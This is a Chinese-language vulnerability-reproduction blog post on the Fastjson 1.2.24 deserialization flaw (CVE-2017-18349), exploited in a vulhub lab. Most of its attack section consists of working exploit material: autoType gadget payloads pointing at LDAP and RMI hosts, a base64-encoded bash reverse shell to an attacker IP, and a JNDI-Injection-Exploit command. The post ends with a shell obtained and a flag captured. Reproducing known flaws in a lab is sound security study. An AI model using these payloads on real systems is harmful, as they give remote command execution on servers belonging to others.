【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

admin 2023年2月9日10:54:45评论219 views字数 1031阅读3分26秒阅读模式

漏洞简介

事项 描述
漏洞概述 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响范围 1.2.24及之前版本。
漏洞编号 CVE-2017-18349


漏洞搭建

这里使用vulhub的fastjson/1.2.24-rce进行复现。

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

访问http://192.168.146.167:37150/

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)


漏洞复现

使用工具进行检测

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

发现dnslog有数据,说明存在漏洞。

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

对应的payload

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://dfk38o.dnslog.cn/aaa","autoCommit":true}}

然后再进行抓包,添入payload,手工再测一遍。发现确实存在。

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。

反弹的的ip和端口是192.168.146.161和10000

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}

执行以下命令,进行反弹shell。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

由于不知道对方java的版本,所以就一个个试。

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

然后发现漏洞利用成功

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.146.161:1099/vbgahy","autoCommit":true}}
【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

成功反弹了shell。

【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

进入tmp目录下,成功拿到flag。


- End -


原文始发于微信公众号(NS Demon团队):【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月9日10:54:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)https://cn-sec.com/archives/1544547.html

发表评论

匿名网友 填写信息